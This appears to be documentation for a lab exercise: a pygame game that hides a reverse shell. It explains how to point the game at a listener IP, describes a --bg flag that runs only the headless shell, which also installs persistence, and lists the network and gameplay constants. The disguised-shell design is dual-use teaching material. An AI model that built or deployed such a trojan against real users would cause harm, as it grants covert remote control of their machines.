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Command-line arguments

All arguments are passed to game/main_game.py.
ArgumentDefaultDescription
--windowed(fullscreen)Run in a 1200×800 window instead of fullscreen.
--host <IP>10.12.73.251IP address of the listener machine.
--bg(disabled)Background mode — launches a headless reverse shell with no pygame window.

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Examples

# Run in a window
python game/main_game.py --windowed

# Point at a different listener host
python game/main_game.py --host 192.168.56.1

# Headless shell only (no game UI)
python game/main_game.py --bg --host 192.168.56.1

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Network configuration

SettingValue
Default listener IP10.12.73.251
Default port5050 (hardcoded in ReverseShell.__init__)
Connection timeout5.0 seconds (socket.settimeout(5.0))
Retry delay on failure2 seconds
Heartbeat interval15 seconds

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How to change the listener IP

1

Find your listener machine's IP

On the machine running tools/listener.py, run:
ip addr show
# or
ifconfig
Note the IP on the interface shared with the game VM (typically a host-only adapter).
2

Pass the IP to the game

python game/main_game.py --host 192.168.56.1
The game connects to 192.168.56.1:5050.
The port 5050 cannot be changed via a CLI flag — it is hardcoded in ReverseShell.__init__. To use a different port you would need to edit the source directly and update tools/listener.py to match.

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Background mode

Passing --bg skips all pygame initialization and launches only the reverse shell component. The game connects to the listener and provides a fully functional shell, but no game window appears. This is useful for:
  • Demonstrating the shell mechanism without running the full game.
  • Automated lab exercises where the UI is not needed.
Background mode still establishes a real reverse shell and installs persistence. All the same safety precautions apply. See Lab Environment.

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Gameplay constants reference

These values are defined in the game source and control the feel and difficulty of each session.

Player

ConstantValue
Movement speed6 px/frame
Starting health100 HP
Damage per enemy collision15 HP

Enemies

ConstantValue
Max enemies — Level 16 (8% spawn chance)
Max enemies — Level 48 (5% spawn chance)

Screen shake

EventShake magnitude
Bullet fired5
Enemy killed10
Player damaged20

Levels & scanning

ConstantValue
Terminal interaction range80 px
Level 1 scan speed1.2/frame
Level 4 scan speed0.4/frame
Target FPS60
Scan speed decreases with level number — higher levels require you to hold position near terminals for longer, increasing difficulty.

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